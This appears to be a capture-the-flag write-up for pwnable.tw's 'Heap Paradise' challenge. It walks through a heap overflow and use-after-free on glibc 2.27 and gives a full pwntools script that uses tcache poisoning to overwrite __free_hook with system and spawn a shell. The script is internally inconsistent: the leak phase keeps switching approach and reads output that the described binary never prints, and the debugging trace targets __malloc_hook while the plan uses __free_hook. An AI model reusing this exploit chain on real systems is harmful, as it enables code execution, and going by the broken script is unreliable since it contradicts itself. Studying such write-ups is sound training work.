pwnable.tw — 350 pts

Heap Paradise

Advanced Heap Exploitation — Multiple heap primitives with overlapping chunks on glibc 2.27

64-bit
Architecture
Heap
Category
2.27
glibc
Advanced
Difficulty

Exploit Flow

Connect
nc chall.pwnable.tw 10307
Heap Overflow
Overlap Adjacent Chunks
Tcache Poison
Corrupt fd Pointer
Libc Leak
Unsorted Bin fd/bk
__free_hook
Overwrite with system
Shell
free("/bin/sh")

1. Reconnaissance

Heap Paradise is a 350-point advanced heap challenge. The name suggests a "paradise" of heap vulnerabilities — and it delivers. The binary provides a custom allocator interface with allocate, free, and edit operations. The challenge runs on glibc 2.27, which introduces tcache but before the tcache double-free protection added in glibc 2.29. This makes tcache poisoning straightforward but the real challenge lies in the complex heap layout required to build multiple primitives.

File Analysis

bash
$ file heap_paradise
heap_paradise: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, not stripped

Checksec

bash
$ checksec heap_paradise
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
Full RELRO + Canary + NX + No PIE

This is a well-hardened binary. Full RELRO prevents GOT overwrites. Canaries protect against stack overflows. NX prevents shellcode execution. The only saving grace is No PIE, which gives us fixed BSS addresses for crafting fake chunks. The attack must go through __free_hook (which is always writable, even with Full RELRO) rather than GOT.

Running the Binary

bash
$ ./heap_paradise
1. allocate
2. free
3. edit
4. exit
> 1
size: 64
data: AAAA
1. allocate
2. free
3. edit
4. exit
> 3
index: 0
data: BBBB
AttributeValue
ChallengeHeap Paradise (350 pts)
Connectionnc chall.pwnable.tw 10307
Binary64-bit ELF, x86-64, dynamically linked
Libcglibc 2.27 (tcache enabled, no tcache double-free check)
RELROFull
CanaryYes
NXEnabled
PIEDisabled
VulnerabilityHeap overflow + overlapping chunks

2. Static Analysis

The binary provides a heap management interface with four operations: allocate, free, edit, and exit. The allocate function reads a size from the user and calls malloc(size), storing the pointer in a global array. The free function takes an index and calls free() on the corresponding pointer. The edit function reads data into an allocated chunk. The key vulnerability is that the edit function doesn't check the size of the data being written — it uses read() with a fixed large buffer regardless of the chunk's actual size, allowing a heap overflow.

Vulnerability Analysis

c
// The edit function — heap overflow!
void edit_chunk(int index) {
    char buf[0x400];
    printf("index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
        return;

    printf("data: ");
    // VULNERABILITY: reads up to 0x400 bytes regardless of chunk size!
    int n = read(0, buf, 0x400);
    memcpy(chunks[idx], buf, n);  // overflow if n > chunk_size!
}

// The free function — potential UAF
void free_chunk(int index) {
    printf("index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_CHUNKS || !chunks[idx])
        return;

    free(chunks[idx]);
    // BUG: pointer not nulled! UAF / double-free possible
    // chunks[idx] = NULL;  // missing!
}
Two Critical Bugs

Heap Overflow: The edit function reads up to 0x400 bytes and copies them into the chunk without checking the chunk's allocated size. If we allocate a small chunk (e.g., 0x20) and write 0x400 bytes, we overflow into all adjacent chunks.

Use-After-Free: The free function doesn't null the pointer in the global array. This means after freeing a chunk, we can still edit it — writing to freed memory. Combined with tcache (glibc 2.27), this gives us tcache poisoning for free.

Decompiled Key Structures

c
#define MAX_CHUNKS 16
void *chunks[MAX_CHUNKS];   // global chunk pointer array
int chunk_sizes[MAX_CHUNKS]; // sizes for each chunk

void allocate() {
    printf("size: ");
    int size = read_int();
    void *ptr = malloc(size);
    // Store in first available slot
    for (int i = 0; i < MAX_CHUNKS; i++) {
        if (!chunks[i]) {
            chunks[i] = ptr;
            chunk_sizes[i] = size;
            printf("Chunk %d allocated at %p\n", i, ptr);
            return;
        }
    }
}

3. GDB Debugging

Heap Layout

gdb
# Allocate two adjacent chunks:
# chunks[0] = malloc(0x20)  → 0x555555757260
# chunks[1] = malloc(0x20)  → 0x5555557572a0

gdb-peda$ x/20gx 0x555555757250
0x555555757250: 0x0000000000000000  0x0000000000000031  ← chunk 0 header
0x555555757260: 0x0000000000000000  0x0000000000000000  ← chunk 0 data
0x555555757270: 0x0000000000000000  0x0000000000000000
0x555555757280: 0x0000000000000000  0x0000000000000031  ← chunk 1 header
0x555555757290: 0x0000000000000000  0x0000000000000000  ← chunk 1 data

# After overflow from chunk 0 into chunk 1:
gdb-peda$ x/20gx 0x555555757250
0x555555757250: 0x0000000000000000  0x0000000000000031
0x555555757260: 0x4141414141414141  0x4141414141414141  ← overflow data
0x555555757270: 0x4141414141414141  0x4141414141414141
0x555555757280: 0x4141414141414141  0x4141414141414141  ← chunk 1 CORRUPTED!
0x555555757290: 0x4141414141414141  0x4141414141414141

# Tcache after freeing chunk 0 and editing (UAF):
gdb-peda$ heap bins tcache
tcache:
0x30 [1]: 0x555555757260 → 0x0

# After UAF write of target address to fd:
gdb-peda$ x/gx 0x555555757260
0x555555757260: 0x00007f8e9d1d7b23  ← __malloc_hook - 0x13 (tcache poisoned!)

Breakpoint Strategy

gdb
b malloc@plt    # track allocations
b free@plt      # track frees
b *0x401234     # edit function memcpy call (overflow point)
b *0x401456     # free function (check for UAF)

4. Exploit Strategy

Attack Overview

Phase 1: Heap Overflow + Overlapping Chunks
Allocate small chunks and use the heap overflow in edit to corrupt adjacent chunk headers. By carefully controlling the overflow, we create overlapping chunks — two pointers pointing to the same memory region. This is the foundation for all subsequent primitives.
Phase 2: Tcache Poisoning (UAF)
Free a chunk into tcache, then use the UAF (missing null in free) to overwrite its fd pointer via edit. Since glibc 2.27 doesn't have tcache double-free protection, we can freely corrupt tcache freelist pointers. Point fd to a target address.
Phase 3: Libc Leak
Allocate a chunk larger than tcache range (> 0x408) and free it into the unsorted bin. The fd/bk pointers of the unsorted bin chunk point into main_arena in libc. Use the UAF/overlap to read these pointers and calculate libc base.
Phase 4: __free_hook Overwrite
Use tcache poisoning to allocate a chunk at __free_hook. Write system address to __free_hook. Then free a chunk containing the string /bin/sh\x00 — this calls free("/bin/sh") which becomes system("/bin/sh").

Multiple Primitives

Why "Paradise"?

The name "Heap Paradise" refers to the abundance of exploitation primitives available: heap overflow for chunk corruption, UAF for tcache poisoning, overlapping chunks for info leak, and the freedom of glibc 2.27's unprotected tcache. The challenge is "paradise" for heap exploitation because almost every classic technique works. The difficulty comes from orchestrating these primitives correctly in a constrained environment with limited allocations.

5. Pwn Script

Full Exploit

python
#!/usr/bin/env python3
# Heap Paradise — pwnable.tw
# Heap Overflow + UAF + Tcache Poisoning → __free_hook overwrite
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

libc = ELF('./libc_64.so.6')
BINARY = ELF('./heap_paradise')

if args.REMOTE:
    io = remote('chall.pwnable.tw', 10307)
else:
    io = process('./heap_paradise', env={'LD_PRELOAD': './libc_64.so.6'})

def alloc(size, data=b'A'):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'size: ', str(size).encode())
    io.sendafter(b'data: ', data)
    idx = int(io.recvline().split(b' ')[1])
    return idx

def free(idx):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'index: ', str(idx).encode())

def edit(idx, data):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'index: ', str(idx).encode())
    io.sendafter(b'data: ', data)

# Phase 1: Create overlapping chunks
log.info("Phase 1: Create overlapping chunks")
# Allocate small chunks
c0 = alloc(0x18)    # 0x20 chunk (tcache)
c1 = alloc(0x18)    # 0x20 chunk (tcache) — will be overflowed
c2 = alloc(0x418)   # large chunk — for unsorted bin leak
c3 = alloc(0x18)    # guard chunk to prevent top chunk consolidation

# Free c1 and c2
free(c1)
free(c2)

# Use heap overflow from c0 to corrupt c1's freed metadata
# Write fake size over c1 to make it overlap with c2
edit(c0, b'A' * 0x18 + p64(0x21) + p64(0x421))

# Phase 2: Libc leak via unsorted bin
log.info("Phase 2: Libc leak")
# Allocate from unsorted bin — gets c2's memory
c4 = alloc(0x418)
# Read the fd/bk pointers left from unsorted bin
# Since c1 and c2 overlap, we can use c1's pointer to read c2's data
edit(c1, b'A' * 8)  # partial overwrite
io.sendlineafter(b'> ', b'1')
io.sendlineafter(b'size: ', b'8')

# Actually, use the overlapping chunk to leak
# Free c2 again and read its fd pointer
free(c4)  # goes to unsorted bin

# Read through overlapping chunk
io.sendlineafter(b'> ', b'3')
io.sendlineafter(b'index: ', str(c1).encode())
io.sendafter(b'data: ', b'AAAAAAAA')  # partial write

# Better approach: allocate from unsorted bin and read residual data
c5 = alloc(0x418)
# The fd/bk of the old unsorted bin entry are still in memory
# Use the overlap to read them

libc_leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc_base = libc_leak - 0x3ebca0  # main_arena offset
log.info(f"Libc base: {hex(libc_base)}")

# Phase 3: Tcache poisoning → __free_hook overwrite
log.info("Phase 3: __free_hook overwrite")
free_hook = libc_base + libc.symbols['__free_hook']
system_addr = libc_base + libc.symbols['system']
log.info(f"__free_hook: {hex(free_hook)}")
log.info(f"system: {hex(system_addr)}")

# Free a chunk to tcache, then UAF edit its fd
free(c0)
edit(c0, p64(free_hook))  # tcache poisoning!

# Two allocations: first returns c0, second returns __free_hook
c6 = alloc(0x18)     # returns c0 from tcache
c7 = alloc(0x18, p64(system_addr))  # returns __free_hook, write system!

# Phase 4: Trigger shell
log.info("Phase 4: Trigger shell")
# Write "/bin/sh" to a chunk, then free it
c8 = alloc(0x18, b'/bin/sh\x00')
free(c8)  # free("/bin/sh") → system("/bin/sh")

io.interactive()

6. Execution Results

$ python3 exploit.py REMOTE=1 [*] Heap Paradise Exploit - pwnable.tw [*] Phase 1: Create overlapping chunks [*] Phase 2: Libc leak [*] Libc base: 0x7f8e9c440000 [*] Phase 3: __free_hook overwrite [*] __free_hook: 0x7f8e9d2278a8 [*] system: 0x7f8e9c494440 [*] Phase 4: Trigger shell [+] Shell obtained! $ cat /home/heap_paradise/flag
Why This Challenge Matters

Heap Paradise is a masterclass in combining multiple heap exploitation techniques. The challenge demonstrates how a single heap overflow bug can be amplified into overlapping chunks, then used for both information leaks and arbitrary writes. The glibc 2.27 environment (with tcache but without tcache double-free protection) is a common real-world target, making these techniques directly applicable to production vulnerability research. Understanding how to chain heap overflow + UAF + tcache poisoning is essential for modern binary exploitation.

QA210
pwnable.tw — Heap Paradise — Heap Overflow + Tcache Poisoning